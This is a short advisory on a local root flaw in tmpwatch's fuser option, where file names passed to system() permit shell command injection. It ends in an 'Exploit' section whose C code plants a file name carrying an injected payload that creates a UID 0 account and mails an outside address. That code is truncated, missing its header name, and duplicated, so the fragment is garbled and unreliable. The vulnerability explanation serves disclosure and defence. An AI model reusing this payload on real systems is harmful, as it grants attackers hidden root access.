Impact: This vulnerability may allow local attackers to compromise superuser access if the administrator in a non-default manner uses tmpwatch. The tmpwatch tool removes files that have not been modified or accessed within a specified amount of time. It was designed to securely remove files by avoiding typical race condition vulnerabilities. System administrators usually run this tool periodically to remove old temporary files in world-writeable directories. The tmpwatch tool uses the --fuser or -s options to avoid removing a file that is in an open state in another process. This option uses the system() library subroutine to call the external program /sbin/fuser with the file name being examined as an argument. The system() subroutine spawns a shell to execute the command. An attacker may create a file name containing shell metacharacters, which could allow them to execute arbitrary commands if tmpwatch with the fuser option is used to remove the file. Source code comparison between the Red Hat Linux 6.2 and 7.0 tmpwatch packages suggests this vulnerability was recognized and a fix was attempted. However, the fix is incorrect, and the vulnerability is still exploitable. Exploit: 1. Compile and run: #include int main() { FILE *f; char filename[100] = ";useradd -u 0 -g 0 haks0r;mail haks0r@somehost.com int main() { FILE *f; char filename[100] = ";useradd -u 0 -g 0 haks0r;mail haks0r@somehost.com